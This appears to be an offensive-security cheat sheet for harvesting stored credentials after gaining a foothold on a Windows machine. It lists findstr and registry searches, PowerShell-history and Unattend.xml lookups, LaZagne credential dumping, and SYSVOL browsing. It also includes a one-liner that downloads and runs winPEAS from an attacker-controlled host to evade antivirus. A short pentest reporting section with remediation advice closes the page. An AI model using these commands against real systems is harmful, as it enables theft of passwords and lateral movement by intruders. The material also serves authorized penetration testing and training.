🛡️ Methodology Checklist

  • File search: findstr /SIM /C:"password" *.txt *.xml *.ini *.config 2>nul
  • Registry creds: reg query HKLM /f password /t REG_SZ /s
  • PowerShell history: (Get-PSReadLineOption).HistorySavePath
  • Credential Manager: cmdkey /list
  • Autologon: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
  • Unattend.xml: C:\Windows\Panther\Unattend.xml
  • Chrome/Firefox saved passwords (requires user session)
  • LaZagne: lazagne.exe all

🎯 Operational Context

Use when: Windows foothold obtained — hunt for credentials in registry, config files, credential manager, PowerShell history, and IIS web.config. Think Dumber First: type C:\Users\[USER]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt — PowerShell history is the Windows equivalent of bash_history. Run it immediately. Then check C:\inetpub\wwwroot\web.config for DB strings. Skip when: Already have SYSTEM — dump LSASS directly instead of file hunting.


⚡ Tactical Cheatsheet

CommandTactical Outcome
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.ymlSearch file contents for “password” keyword (case-insensitive, recursive)
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xmlCommon config file variant
C:\Temp\lazagne.exe allRun LaZagne — dump all stored credentials
C:\Temp\lazagne.exe all > C:\Temp\passwords.txtLaZagne output to file
dir /s \\[DC_IP]\SYSVOLList SYSVOL share contents (readable by all domain users)
xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS] /drive:share,$(pwd)RDP with drive share to transfer LaZagne
net useList mapped network drives

🔬 Deep Dive & Workflow

Search Strategy by User Role

Don’t search blindly — target locations based on the compromised account’s function:

RoleHigh-Value Locations
IT AdminRDP .rdp files, PuTTY sessions, WinSCP configs, KeePass .kdbx
Developerweb.config, .git dirs, API keys in source, connection strings
HR / FinanceExcel/Word files named “passwords”, “accounts”, “logins”

Built into every Windows installation — no upload required:

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
  • /S — search subdirectories
  • /I — case-insensitive
  • /M — print filenames only (suppress matching lines for clean output)

Expand the keyword list for broader coverage:

password, passphrase, pwd, creds, credentials, dbpassword, dbcredential, login, key, secret, token

LaZagne — Automated Credential Extraction

LaZagne extracts stored credentials from browsers, Wi-Fi profiles, sysadmin tools (WinSCP, PuTTY, FileZilla), and memory.

Transfer via RDP drive share (no separate upload needed):

xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS] /drive:share,$(pwd)
# File accessible at \\tsclient\share\lazagne.exe on target

Critical: Do NOT run with start LaZagne.exe — it opens a new window that closes instantly before output can be read. Run directly:

C:\Temp\lazagne.exe all
C:\Temp\lazagne.exe all > C:\Temp\passwords.txt

SYSVOL — Domain-Wide Readable Share

Every domain user can read SYSVOL on the Domain Controller. It contains Group Policy scripts and XML files that often have embedded credentials (historically from Group Policy Preferences):

dir /s \\[DC_IP]\SYSVOL

Also accessible via Explorer: \\[DC_IP]\SYSVOL

High-Value File Locations

FilePathContains
web.configC:\inetpub\wwwroot\DB connection strings
Unattend.xmlC:\Windows\Panther\Leftover install credentials
KeePass .kdbxUser profile dirsCredential vaults
.rdp filesDesktop, DocumentsSaved RDP sessions with credentials

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
PSReadLine history file not foundPowerShell history disabled or different pathCheck: (Get-PSReadlineOption).HistorySavePath for actual path
reg query for passwords returns emptyKey doesn’t existTry broader: reg query HKLM /f password /t REG_SZ /s 2>nul (slow but thorough)
web.config access deniedIIS running as low-privilegeCheck other config locations: C:\inetpub\wwwroot\web.config, C:\Windows\Microsoft.NET\Framework*\CONFIG\
winpeas.exe detected by AVDefault signatureRun PowerShell version: IEX (New-Object Net.WebClient).DownloadString('http://[LHOST]/winPEASany.ps1')
Windows Credential Manager emptyNo saved credsCheck for .rdp files: dir /s /b *.rdp 2>nul; also cmdkey /list for stored credentials

📝 Reporting Trigger

Finding Title: Plaintext Credentials Found in Windows Credential Storage Impact: Credentials stored in Windows Credential Manager, registry, PowerShell history, or configuration files allow privilege escalation and lateral movement without brute force or vulnerability exploitation. Root Cause: Applications and users store credentials in easily accessible Windows credential storage mechanisms without encryption. Recommendation: Implement Windows Credential Guard to protect stored credentials. Clear PowerShell history on shared systems. Use LAPS for local admin passwords. Audit Windows Credential Manager content on all systems.